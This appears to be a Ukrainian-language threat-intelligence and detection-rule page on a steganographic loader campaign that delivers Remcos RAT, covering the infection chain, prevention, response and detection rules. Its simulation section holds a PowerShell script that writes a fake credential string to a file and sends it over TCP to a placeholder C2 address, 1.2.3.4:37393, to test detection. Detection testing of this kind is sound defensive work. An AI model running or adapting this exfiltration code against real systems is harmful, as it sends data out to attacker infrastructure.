Багатоступенева стеґанографічна кампанія із завантаження, яка розгортає різноманітні шкідливі програми по всьому світу
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Багатоступенева кампанія зловмисного ПЗ використовує стеганографію та виконання в пам’яті для доставки численних шкідливих навантажень, включаючи Remcos RAT. Ланцюжок зараження починається з фішингового електронного листа, що містить зловмисний архів, який скидає виконуваний файл .NET. Цей виконуваний файл використовує вбудовані ресурси та методи стеганографії для завантаження пізніших стадій безпосередньо в пам’ять, що допомагає зловмисному ПЗ уникати виявлення на основі диска.
Розслідування
Розслідування почалося після того, як телеметрія відзначила підозрілий файл під назвою GST Debit Note Apr_26.com. Аналітики визначили, що файл був упакованим 32-бітним виконуваним файлом .NET, замаскованим під гру. Подальший зворотний інжиніринг виявив стеганографію, вбудовану в об’єкт .NET Bitmap, яка приховувала завантажувач наступного ступеня, Optimax.dll, і дозволила йому працювати цілком у пам’яті.
Міри запобігання
Організації повинні розгортати сильні фільтри електронної пошти для блокування підозрілих архівних вкладень та фішингових спроб. Рішення EDR повинні бути здатні виявляти виконання в пам’яті, заповнювання процесів і підозрілу поведінку PowerShell. Команди також повинні стежити за несанкціонованими змінами в реєстрі, особливо в ключах Run, і забезпечувати жорсткий контроль додатків, щоб запобігти запуску непідписаних виконуваних файлів.
Відповідь
Заражені кінцеві точки мають бути ізольовані негайно, щоб обмежити лавинний рух та крадіжку даних. Розслідувачі повинні виконати форензику пам’яті для виявлення компонентів без файлів та підтвердження наявності Remcos_Mutex_Inj м’ютексу. Повне сканування має також перевірити на явну несанкціоновану постійність у каталозі AppData та ключі Run реєстру, при цьому облікові дані повинні бути скинуті для будь-яких користувачів, чиї браузери могли бути доступні зловмисним ПЗ.
Потік атаки
Виявлення
Виклик підозрілих методів .NET з PowerShell (через powershell)
Переглянути
Можливі пункти збереження [ASEPs – Програмне забезпечення/NTUSER Hive] (через подію реєстру)
Переглянути
Можливість виконання прихованими командними рядками PowerShell (через cmdline)
Переглянути
Можливі індикатори обфускації PowerShell (через powershell)
Переглянути
Експлуатація захоплених даних через керування та управління (з’єднання з мережею Windows)
Переглянути
Виконання обфусьованого скрипту PowerShell в стеганографічній кампанії завантажувачів (Windows Powershell)
Переглянути
Виявлення інфекції Remcos RAT через стеганографічні та безфайлові техніки (створення процесу Windows)
Переглянути
Виконання симуляції
Обов’язкова умова: Телеметрія та перевірка базової лінії перед польотом повинна бути пройдена.
Обґрунтування: Цей розділ деталізує точне виконання техніки суперника (TTP), призначеної для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і надавати очікувану телеметрію, яка відповідає логіці виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Сценарій атаки та команди: Суперник успішно встановив точку опори. Для досягнення мети вони збирають телеметрію системи і зберігають її у файлі з назвою
logs.dat, щоб замаскувати його під стандартні журнали системи. Потім суперник ініціює мережеве з’єднання до встановленої інфраструктури C2 (використовуючи IP1.2.3.4та порт37393для цієї симуляції) для витоку даних. Це імітує поведінку стеганографічного завантажувача, що намагається вивести дані з мережі через конкретний, жорстко закодований канал. -
Сценарій регресійного тестування:
# Симуляція ексфільтрації даних через специфічні параметри файлу та C2 $C2_IP = "1.2.3.4" # Симульований IP C2 $C2_PORT = 37393 $FILENAME = "logs.dat" # 1. Створіть 'шкідливий' файл даних Write-Output "Чутливі дані: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME" # 2. Симулюйте мережеве з'єднання до C2 # Використовуючи клієнт TCP для примусового отримання спеціальних телеметрій порт/IP try { $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT) $stream = $client.GetStream() $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME")) $stream.Write($data, 0, $data.Length) $client.Close() } catch { Write-Host "З'єднання не вдалося (очікується, якщо IP не існує), але телеметрія повинна бути захоплена фаєрволом." } -
Команди очищення:
# Видаліть зімітований шкідливий файл Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue